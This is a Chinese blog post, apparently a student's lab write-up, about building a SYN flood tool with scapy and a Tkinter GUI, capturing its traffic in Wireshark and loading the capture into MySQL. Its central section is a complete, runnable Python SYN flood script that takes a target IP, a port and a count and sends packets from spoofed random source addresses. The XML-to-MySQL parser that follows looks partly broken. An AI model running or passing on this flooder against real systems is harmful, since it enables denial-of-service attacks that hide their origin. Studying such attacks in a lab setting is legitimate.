:
scapy是一个强大的交互式(interactive)的包操作程序,用python写的,有一个python的命令行解释器界面,可直接运行,也也可以作为第三库,在python程序中import来使用它的类和方法。支持对广泛的网络协议解码和生成,进行数据包发送、捕获、请求匹配应答等,可以用来生成指定内容的网络数据包的工具
官方文档:http://www.secdev.org/projects/scapy/doc/
关于wireshark:
我们需要一个抓包工具,wireshark是一个运用广泛的抓包分析工具,前身是Ethereal
发现一份翻译的着实不太好不过还是非常感谢辛勤劳动的中文文档:
http://man.lupaworld.com/content/network/wireshark/index.html
yum install
wireshark
命令行输入wireshark,提示没有找到
bash: cd: /usr/lib/wireshark: No such file or directory
解决它:
yum search wireshark
提示:
Loaded plugins: langpacks, presto, refresh-packagekit
updates/pkgtags | 333 B 00:00
============================ N/S Matched: wireshark ============================
wireshark-devel.i686 : Development headers and libraries for wireshark
wireshark-devel.x86_64 : Development headers and libraries for wireshark
wireshark-gnome.x86_64 : Gnome desktop integration for wireshark
wireshark.i686 : Network traffic analyzer
wireshark.x86_64 : Network traffic analyzer
Name and summary matches only, use "search all" for everything.
选择gnome的即可
yum install wireshark-gnome.x86_64
方便又好用的wireshark,实在是童叟无欺啊
关于Tkinter:
python下gui编程有很多,随便挑了一个,比较简单的Tkinter
随便找了一份入门文档:http://www.programup.com/wiki/beginning_tkinter/ 随便看看就ok了,- -|| 汗
表示各种控件要自己写代码,比起c#、mfc、swt之流着实不太习惯,感觉给它们定位是个问题
Tkinter有三个布局管理器
Pack,Grid,Place
感觉不是太好用,随便挑了一个grid应付应付(ToT)/~~~
关于写数据库:
老师要求非要写数据库,表示作为攻击方的实在没道理攻击一下写一次数据库的,干坏事不能留痕迹,那么作为被攻击方的就勉强收集一下数据好了
又不知道怎么直接从wireshark里面写到mysql里面去,它倒是提供了Export,导成plain
text实在看着头大,正好有xml,这个还好处理一点,只好人工导出成xml,来读xml,再写到mysql,偷懒用正则表达式直接匹配它的标签
写mysql,一定不能忘了一句commit(),没了这一句,明明写成功了,数据库里面怎么都看不到数据o((⊙﹏⊙))o.
顺便附录一句如何查看mysql文件存放的路径:
mysql> show variables like '%datadir%';
+---------------+-----------------+
| Variable_name | Value |
+---------------+-----------------+
| datadir | /var/lib/mysql/ |
+---------------+-----------------+
1 row in set (0.00 sec)
再顺便表扬一句mysql太乖了,跟它说quit,它会说Bye,v( ̄︶ ̄)y
—————————我是展示成果分割线——————————
syn攻击方代码
用网卡设置为本地,要在root权限下运行,否则发送tcp连接会报错- -||
#coding=utf-8
import socket, sys, random, threading
from scapy.all import *
from Tkinter import *
scapy.config.conf.iface = 'lo'
target = ''
port = 0
count = 0
class sendSYN(threading.Thread):
global target, port
def __init__(self):
threading.Thread.__init__(self)
def run(self):
isrc = '%i.%i.%i.%i' % (random.randint(1,254),random.randint(1,254),random.randint(1,254), random.randint(1,254))
isport = random.randint(1,65535)
ip = IP(src = isrc,dst = target)
syn = TCP(sport = isport, dport = port, flags = 'S')
send(ip / syn, verbose = 0)
def click_button():
global target, port, count
target = e1.get()
port = int(e2.get())
count = int(e3.get())
i = 0
while i < count:
i += 1
sendSYN().start()
class App:
def __init__(self, master):
frame = Frame(master)
frame.pack()
label1 = Label(frame, text="IP地址:", width = 10, height = 3)
label1.grid(row = 0, column = 0)
label2 = Label(frame, text="端口号:", width = 10, height = 3)
label2.grid(row = 1, column = 0)
label3 = Label(frame, text="攻击次数:", width = 10, height = 3)
label3.grid(row = 2, column = 0)
global e1, e2, e3
entry1 = Entry(frame, textvariable=e1, width = 15)
entry1.grid(row = 0, column = 1)
entry2 = Entry(frame, textvariable=e2, width = 15)
entry2.grid(row = 1, column = 1)
entry3 = Entry(frame, textvariable=e3, width = 15)
entry3.grid(row = 2, column = 1)
button1 = Button(frame, text='设定', command = click_button)
button1.grid(row = 3, column = 1)
button2 = Button(frame, text='退出', command = frame.quit)
button2.grid(row = 3, column = 2)
root = Tk()
e1 = StringVar();
e2 = StringVar();
e3 = StringVar();
root.title('syn flood')
root.geometry('300x190')
app = App(root)
root.mainloop()
效果:
有点难看( >﹏<。)~
记得打开wireshark等着看
发一下看看v( ̄︶ ̄)y
嗖的一下就有东西了
给的信息十分全面^_^
处理这个xml文件就好了
处理xml写数据库的代码,记得把数据库打开- -||
import re
import MySQLdb as mdb
con = mdb.connect(host = 'localhost', user = 'root', passwd = '')
cursor = con.cursor()
cursor.execute('create database if not exists dbforsyn')
con.select_db('dbforsyn')
cursor.execute('create table if not exists packet(id int KEY, Time float, Source varchar(100), Destination varchar(100), Protocol varchar(20), Length int, Info varchar(100))')
myfile = open('2.xml')
s = myfile.read()
myfile.close()
s = s.replace('>', '>')
a = re.findall(r'.*', s)
ct = 0
mylist = []
flag = 0
for i in a:
ct += 1
if (ct == 1 or ct == 6) and flag == 1:
mylist.append(int(i[9:-10]))
elif ct == 2 and flag == 1:
mylist.append(float(i[9:-10]))
else:
mylist.append(i[9:-10])
if ct % 7 == 0:
if flag == 0:
flag = 1
else:
n = cursor.execute('insert into packet values(%s, %s, %s, %s, %s, %s, %s)', mylist)
mylist = []
ct = 0
con.commit()
cursor.close()
就这么着吧……<(* ̄▽ ̄*)/